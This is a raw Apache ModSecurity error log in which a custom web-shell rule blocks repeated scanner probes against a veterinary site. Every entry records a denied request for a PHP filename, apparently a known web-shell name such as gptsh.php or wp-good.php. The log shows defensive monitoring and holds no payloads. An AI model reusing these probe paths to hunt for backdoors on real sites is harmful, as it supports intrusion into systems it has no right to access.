[Mon Apr 13 17:15:19.796416 2026] [:error] [pid 63406:tid 63419] [client 20.240.142.13:64488] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "ady0J7HZEIkQ0Zmgp5oe0QAAAMg"]
[Mon Apr 13 17:15:20.013843 2026] [:error] [pid 63310:tid 63367] [client 20.100.201.121:64685] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0KHoXpRU5ztmwPjIvxgAAAFc"]
[Mon Apr 13 17:15:21.783687 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:65099] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0KbHZEIkQ0Zmgp5oe2wAAANY"]
[Mon Apr 13 17:15:22.301896 2026] [:error] [pid 63310:tid 63356] [client 20.240.142.13:64491] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "ady0KnoXpRU5ztmwPjIvxwAAAEw"]
[Mon Apr 13 17:15:22.964072 2026] [:error] [pid 57183:tid 57188] [client 20.100.201.121:62815] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0KjDO3t8R5NaxzYTTBwAAAUM"]
[Mon Apr 13 17:15:24.502803 2026] [:error] [pid 57183:tid 57197] [client 20.240.142.13:62756] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "ady0LDDO3t8R5NaxzYTTDAAAAUw"]
[Mon Apr 13 17:15:24.877066 2026] [:error] [pid 57183:tid 57201] [client 20.100.201.121:64597] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0LDDO3t8R5NaxzYTTDQAAAVA"]
[Mon Apr 13 17:15:25.601735 2026] [:error] [pid 63406:tid 63419] [client 20.100.201.121:64169] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0LbHZEIkQ0Zmgp5oe5QAAAMg"]
[Mon Apr 13 17:15:26.455365 2026] [:error] [pid 57183:tid 57193] [client 20.100.201.121:65096] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0LjDO3t8R5NaxzYTTEQAAAUg"]
[Mon Apr 13 17:15:27.104503 2026] [:error] [pid 7228:tid 7245] [client 20.100.201.121:64593] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0LwEnn1dQrOSHHNVacwAAAQ8"]
[Mon Apr 13 17:15:27.725554 2026] [:error] [pid 63406:tid 63426] [client 20.100.201.121:65106] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0L7HZEIkQ0Zmgp5oe6QAAAM8"]
[Mon Apr 13 17:15:27.736303 2026] [:error] [pid 63406:tid 63412] [client 20.100.201.121:63140] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "ady0L7HZEIkQ0Zmgp5oe6gAAAME"]
[Mon Apr 13 17:15:28.298293 2026] [:error] [pid 57183:tid 57194] [client 20.100.201.121:65189] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady0MDDO3t8R5NaxzYTTEwAAAUk"]
[Mon Apr 13 17:15:28.872493 2026] [:error] [pid 63406:tid 63421] [client 20.100.201.121:65204] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady0MLHZEIkQ0Zmgp5oe7wAAAMo"]
[Mon Apr 13 17:15:29.517576 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:64604] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady0MbHZEIkQ0Zmgp5oe8wAAAMs"]
[Mon Apr 13 17:16:56.262299 2026] [:error] [pid 57183:tid 57197] [client 20.100.201.121:65179] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady0iDDO3t8R5NaxzYTUAwAAAUw"]
[Mon Apr 13 17:16:57.127512 2026] [:error] [pid 7228:tid 7237] [client 20.100.201.121:65206] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady0iQEnn1dQrOSHHNVa_QAAAQc"]
[Mon Apr 13 17:16:57.829046 2026] [:error] [pid 7228:tid 7252] [client 20.100.201.121:65097] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady0iQEnn1dQrOSHHNVbAQAAARY"]
[Mon Apr 13 17:16:58.809017 2026] [:error] [pid 7228:tid 7253] [client 20.100.201.121:65174] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady0igEnn1dQrOSHHNVbBQAAARc"]
[Mon Apr 13 17:16:59.179098 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:65092] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady0i7HZEIkQ0Zmgp5of0gAAAMY"]
[Mon Apr 13 17:17:00.235181 2026] [:error] [pid 9314:tid 9318] [client 20.100.201.121:64645] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady0jG_r4W8fX2GWyGTK3gAAAYI"]
[Mon Apr 13 17:17:01.155941 2026] [:error] [pid 9314:tid 9317] [client 20.100.201.121:64606] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady0jW_r4W8fX2GWyGTK5gAAAYE"]
[Mon Apr 13 17:17:01.763306 2026] [:error] [pid 63309:tid 63323] [client 20.100.201.121:64611] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady0jUpIKZ10weXpf0UDQwAAAAo"]
[Mon Apr 13 17:17:02.208435 2026] [:error] [pid 7228:tid 7232] [client 20.100.201.121:65120] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady0jgEnn1dQrOSHHNVbCAAAAQI"]
[Mon Apr 13 17:17:03.255340 2026] [:error] [pid 63311:tid 63375] [client 20.100.201.121:65100] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady0j6HjrGN1MqBCVFnR3AAAAIQ"]
[Mon Apr 13 17:17:03.503740 2026] [:error] [pid 63406:tid 63434] [client 20.100.201.121:64664] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady0j7HZEIkQ0Zmgp5of3AAAANc"]
[Mon Apr 13 17:17:04.504420 2026] [:error] [pid 7228:tid 7251] [client 20.100.201.121:65112] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0kAEnn1dQrOSHHNVbDwAAARU"]
[Mon Apr 13 17:17:04.825245 2026] [:error] [pid 7228:tid 7238] [client 20.100.201.121:64596] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady0kAEnn1dQrOSHHNVbEQAAAQg"]
[Mon Apr 13 17:17:05.201618 2026] [:error] [pid 7228:tid 7240] [client 20.100.201.121:64600] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0kQEnn1dQrOSHHNVbFQAAAQo"]
[Mon Apr 13 17:17:05.922433 2026] [:error] [pid 9314:tid 9337] [client 20.100.201.121:64134] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0kW_r4W8fX2GWyGTK9gAAAZU"]
[Mon Apr 13 17:17:07.711360 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:64629] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0k7HZEIkQ0Zmgp5of4QAAANQ"]
[Mon Apr 13 17:17:08.501440 2026] [:error] [pid 63406:tid 63427] [client 20.100.201.121:64653] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0lLHZEIkQ0Zmgp5of5wAAANA"]
[Mon Apr 13 17:17:09.287634 2026] [:error] [pid 63406:tid 63430] [client 20.100.201.121:63152] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0lbHZEIkQ0Zmgp5of7gAAANM"]
[Mon Apr 13 17:17:10.099646 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:64630] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0lrHZEIkQ0Zmgp5of8gAAANU"]
[Mon Apr 13 17:17:10.572373 2026] [:error] [pid 57183:tid 57189] [client 20.100.201.121:65166] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady0ljDO3t8R5NaxzYTUDwAAAUQ"]
[Mon Apr 13 17:17:10.782690 2026] [:error] [pid 57183:tid 57203] [client 20.100.201.121:64691] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0ljDO3t8R5NaxzYTUFAAAAVI"]
[Mon Apr 13 17:17:11.448856 2026] [:error] [pid 7228:tid 7236] [client 20.100.201.121:64136] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0lwEnn1dQrOSHHNVbFwAAAQY"]
[Mon Apr 13 17:17:12.146211 2026] [:error] [pid 9314:tid 9333] [client 20.100.201.121:64683] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady0mG_r4W8fX2GWyGTLFgAAAZE"]
[Mon Apr 13 17:17:12.483461 2026] [:error] [pid 63311:tid 63387] [client 20.100.201.121:64137] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0mKHjrGN1MqBCVFnR4wAAAJA"]
[Mon Apr 13 17:17:13.171381 2026] [:error] [pid 7228:tid 7250] [client 20.100.201.121:64681] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0mQEnn1dQrOSHHNVbGgAAARQ"]
[Mon Apr 13 17:17:14.258839 2026] [:error] [pid 63311:tid 63372] [client 20.100.201.121:64123] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0mqHjrGN1MqBCVFnR5AAAAIE"]
[Mon Apr 13 17:17:14.483682 2026] [:error] [pid 63309:tid 63322] [client 20.100.201.121:64139] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady0mkpIKZ10weXpf0UDSgAAAAk"]
[Mon Apr 13 17:17:15.258741 2026] [:error] [pid 7228:tid 7232] [client 20.100.201.121:64679] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0mwEnn1dQrOSHHNVbHQAAAQI"]
[Mon Apr 13 17:17:16.194659 2026] [:error] [pid 57183:tid 57208] [client 20.100.201.121:64636] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0nDDO3t8R5NaxzYTUJQAAAVc"]
[Mon Apr 13 17:17:16.388571 2026] [:error] [pid 57183:tid 57189] [client 20.100.201.121:63617] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady0nDDO3t8R5NaxzYTUJgAAAUQ"]
[Mon Apr 13 17:17:17.474323 2026] [:error] [pid 57183:tid 57204] [client 20.100.201.121:63730] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0nTDO3t8R5NaxzYTUKgAAAVM"]
[Mon Apr 13 17:17:18.137638 2026] [:error] [pid 63311:tid 63394] [client 20.100.201.121:64689] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady0nqHjrGN1MqBCVFnR6wAAAJc"]
[Mon Apr 13 17:17:18.769573 2026] [:error] [pid 7228:tid 7236] [client 20.100.201.121:64614] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0ngEnn1dQrOSHHNVbIgAAAQY"]
[Mon Apr 13 17:17:18.944432 2026] [:error] [pid 9314:tid 9340] [client 20.100.201.121:65208] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady0nm_r4W8fX2GWyGTLJgAAAZg"]
[Mon Apr 13 17:17:19.041714 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:64577] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady0n7HZEIkQ0Zmgp5ogAAAAANQ"]
[Mon Apr 13 17:17:19.354990 2026] [:error] [pid 63310:tid 63345] [client 20.100.201.121:64590] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0n3oXpRU5ztmwPjIwGgAAAEE"]
[Mon Apr 13 17:17:19.784006 2026] [:error] [pid 7228:tid 7243] [client 20.100.201.121:65199] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady0nwEnn1dQrOSHHNVbJwAAAQ0"]
[Mon Apr 13 17:17:19.951021 2026] [:error] [pid 57183:tid 57193] [client 20.100.201.121:65145] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0nzDO3t8R5NaxzYTUMAAAAUg"]
[Mon Apr 13 17:17:20.576374 2026] [:error] [pid 63406:tid 63415] [client 20.100.201.121:65135] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady0oLHZEIkQ0Zmgp5ogAgAAAMQ"]
[Mon Apr 13 17:17:20.585373 2026] [:error] [pid 57183:tid 57206] [client 20.100.201.121:64623] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0oDDO3t8R5NaxzYTUNAAAAVU"]
